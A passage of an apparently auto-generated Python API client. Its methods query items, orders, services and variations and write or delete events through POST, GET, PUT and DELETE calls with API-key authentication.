asynchronous request. (optional) :param float minprice: Min price of items to find :param float maxprice: Max price of items to find :param ItemRequest query: Item to query against system. :return: float If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.items_count_post_with_http_info(**kwargs) else: (data) = self.items_count_post_with_http_info(**kwargs) return data def items_count_post_with_http_info(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.items_count_post_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param float minprice: Min price of items to find :param float maxprice: Max price of items to find :param ItemRequest query: Item to query against system. :return: float If the method is called asynchronously, returns the request thread. """ all_params = ['minprice', 'maxprice', 'query'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method items_count_post" % key ) params[key] = val del params['kwargs'] resource_path = '/items/count/'.replace('{format}', 'json') path_params = {} query_params = {} if 'minprice' in params: query_params['minprice'] = params['minprice'] if 'maxprice' in params: query_params['maxprice'] = params['maxprice'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'query' in params: body_params = params['query'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='float', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def items_post(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.items_post(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param float minprice: Min price of items to find :param float maxprice: Max price of items to find :param ItemRequest query: Item to query against system. :return: list[Item] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.items_post_with_http_info(**kwargs) else: (data) = self.items_post_with_http_info(**kwargs) return data def items_post_with_http_info(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.items_post_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param float minprice: Min price of items to find :param float maxprice: Max price of items to find :param ItemRequest query: Item to query against system. :return: list[Item] If the method is called asynchronously, returns the request thread. """ all_params = ['minprice', 'maxprice', 'query'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method items_post" % key ) params[key] = val del params['kwargs'] resource_path = '/items/'.replace('{format}', 'json') path_params = {} query_params = {} if 'minprice' in params: query_params['minprice'] = params['minprice'] if 'maxprice' in params: query_params['maxprice'] = params['maxprice'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'query' in params: body_params = params['query'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Item]', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def orders_post(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.orders_post(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param OrderRequest query: Order to query against item invoices. :return: list[Order] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.orders_post_with_http_info(**kwargs) else: (data) = self.orders_post_with_http_info(**kwargs) return data def orders_post_with_http_info(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.orders_post_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param OrderRequest query: Order to query against item invoices. :return: list[Order] If the method is called asynchronously, returns the request thread. """ all_params = ['query'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method orders_post" % key ) params[key] = val del params['kwargs'] resource_path = '/orders/'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'query' in params: body_params = params['query'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Order]', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def orders_services_post(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.orders_services_post(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param OrderRequest query: Order to query against service invoices. :return: list[Order] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.orders_services_post_with_http_info(**kwargs) else: (data) = self.orders_services_post_with_http_info(**kwargs) return data def orders_services_post_with_http_info(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.orders_services_post_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param OrderRequest query: Order to query against service invoices. :return: list[Order] If the method is called asynchronously, returns the request thread. """ all_params = ['query'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method orders_services_post" % key ) params[key] = val del params['kwargs'] resource_path = '/orders/services/'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'query' in params: body_params = params['query'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Order]', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def query_post(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.query_post(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param float page: Current page index. :param str categoryid: Get items under specified category id. :param str sort: Comma delimited Sort string. ie ; +ordprice. Please use number based fields only :param str search: Performs a regex pattern match against the items within your account :param float minprice: Min price in hundreds (cents). :param float maxprice: Max price in hundreds (cents). :param ItemRequest query: Custom parameters to query against system. :return: list[Item] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.query_post_with_http_info(**kwargs) else: (data) = self.query_post_with_http_info(**kwargs) return data def query_post_with_http_info(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.query_post_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param float page: Current page index. :param str categoryid: Get items under specified category id. :param str sort: Comma delimited Sort string. ie ; +ordprice. Please use number based fields only :param str search: Performs a regex pattern match against the items within your account :param float minprice: Min price in hundreds (cents). :param float maxprice: Max price in hundreds (cents). :param ItemRequest query: Custom parameters to query against system. :return: list[Item] If the method is called asynchronously, returns the request thread. """ all_params = ['page', 'categoryid', 'sort', 'search', 'minprice', 'maxprice', 'query'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method query_post" % key ) params[key] = val del params['kwargs'] resource_path = '/query/'.replace('{format}', 'json') path_params = {} query_params = {} if 'page' in params: query_params['page'] = params['page'] if 'categoryid' in params: query_params['categoryid'] = params['categoryid'] if 'sort' in params: query_params['sort'] = params['sort'] if 'search' in params: query_params['search'] = params['search'] if 'minprice' in params: query_params['minprice'] = params['minprice'] if 'maxprice' in params: query_params['maxprice'] = params['maxprice'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'query' in params: body_params = params['query'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Item]', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def services_delete(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_delete(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ID of the service to update (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.services_delete_with_http_info(id, **kwargs) else: (data) = self.services_delete_with_http_info(id, **kwargs) return data def services_delete_with_http_info(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_delete_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ID of the service to update (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method services_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `services_delete`") resource_path = '/services/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def services_get(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_get(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :return: list[Service] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.services_get_with_http_info(**kwargs) else: (data) = self.services_get_with_http_info(**kwargs) return data def services_get_with_http_info(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_get_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :return: list[Service] If the method is called asynchronously, returns the request thread. """ all_params = [] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method services_get" % key ) params[key] = val del params['kwargs'] resource_path = '/services/'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Service]', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def services_open_get(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_open_get(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ID of service to open (required) :return: Service If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.services_open_get_with_http_info(id, **kwargs) else: (data) = self.services_open_get_with_http_info(id, **kwargs) return data def services_open_get_with_http_info(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_open_get_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ID of service to open (required) :return: Service If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method services_open_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `services_open_get`") resource_path = '/services/open/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Service', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def services_post(self, service, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_post(service, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param ServiceRequest service: Service to create. (required) :return: Service If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.services_post_with_http_info(service, **kwargs) else: (data) = self.services_post_with_http_info(service, **kwargs) return data def services_post_with_http_info(self, service, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_post_with_http_info(service, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param ServiceRequest service: Service to create. (required) :return: Service If the method is called asynchronously, returns the request thread. """ all_params = ['service'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method services_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'service' is set if ('service' not in params) or (params['service'] is None): raise ValueError("Missing the required parameter `service` when calling `services_post`") resource_path = '/services/'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'service' in params: body_params = params['service'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Service', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def services_put(self, id, service, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_put(id, service, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ID of the service to update (required) :param ServiceRequest service: New service data to set. (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.services_put_with_http_info(id, service, **kwargs) else: (data) = self.services_put_with_http_info(id, service, **kwargs) return data def services_put_with_http_info(self, id, service, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.services_put_with_http_info(id, service, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: ID of the service to update (required) :param ServiceRequest service: New service data to set. (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'service'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method services_put" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `services_put`") # verify the required parameter 'service' is set if ('service' not in params) or (params['service'] is None): raise ValueError("Missing the required parameter `service` when calling `services_put`") resource_path = '/services/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'service' in params: body_params = params['service'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def variation_delete(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.variation_delete(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: variation id to remove (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.variation_delete_with_http_info(id, **kwargs) else: (data) = self.variation_delete_with_http_info(id, **kwargs) return data def variation_delete_with_http_info(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.variation_delete_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: variation id to remove (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method variation_delete" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `variation_delete`") resource_path = '/variation/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def variation_get(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.variation_get(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Variation ID to open. (required) :return: Variation If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.variation_get_with_http_info(id, **kwargs) else: (data) = self.variation_get_with_http_info(id, **kwargs) return data def variation_get_with_http_info(self, id, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.variation_get_with_http_info(id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Variation ID to open. (required) :return: Variation If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method variation_get" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `variation_get`") resource_path = '/variation/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Variation', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def variation_post(self, id, item, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.variation_post(id, item, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Valid item id to bind variation to. (required) :param Variation item: Variation information. (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.variation_post_with_http_info(id, item, **kwargs) else: (data) = self.variation_post_with_http_info(id, item, **kwargs) return data def variation_post_with_http_info(self, id, item, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.variation_post_with_http_info(id, item, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Valid item id to bind variation to. (required) :param Variation item: Variation information. (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'item'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method variation_post" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `variation_post`") # verify the required parameter 'item' is set if ('item' not in params) or (params['item'] is None): raise ValueError("Missing the required parameter `item` when calling `variation_post`") resource_path = '/variation/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'item' in params: body_params = params['item'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def variation_put(self, id, item, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.variation_put(id, item, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: variation id to update. (required) :param Variation item: New variation information. (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.variation_put_with_http_info(id, item, **kwargs) else: (data) = self.variation_put_with_http_info(id, item, **kwargs) return data def variation_put_with_http_info(self, id, item, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.variation_put_with_http_info(id, item, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: variation id to update. (required) :param Variation item: New variation information. (required) :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'item'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method variation_put" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if ('id' not in params) or (params['id'] is None): raise ValueError("Missing the required parameter `id` when calling `variation_put`") # verify the required parameter 'item' is set if ('item' not in params) or (params['item'] is None): raise ValueError("Missing the required parameter `item` when calling `variation_put`") resource_path = '/variation/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'item' in params: body_params = params['item'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def write_delete(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.write_delete(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Will delete event attached to this serviceid :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.write_delete_with_http_info(**kwargs) else: (data) = self.write_delete_with_http_info(**kwargs) return data def write_delete_with_http_info(self, **kwargs): """ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.write_delete_with_http_info(callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str id: Will delete event attached to this serviceid :return: Response If the method is called asynchronously, returns the request thread. """ all_params = ['id'] all_params.append('callback') all_params.append('_return_http_data_only') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method write_delete" % key ) params[key] = val del params['kwargs'] resource_path = '/write/'.replace('{format}', 'json') path_params = {} query_params = {} if 'id' in params: query_params['id'] = params['id'] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type([]) # Authentication setting auth_settings = ['APIKey', 'AccountID'] return self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Response', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only')) def write_post(self, event_request, **kwargs): """ Will ovveride the current event of the specified service. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.write_post(event_request, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param EventRequest event_request: Event to upload (required) :return: Response If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.write_post_with_http_info(event_request, **kwargs) else: (data) = self.write_post_with_http_info(event_request, **kwargs) return data def write_post_with_http_info(self, event_request, **kwargs): """ Will ovveride the current event of the specified service. This method makes a synchronous HTTP request by default. To make an asynchronous 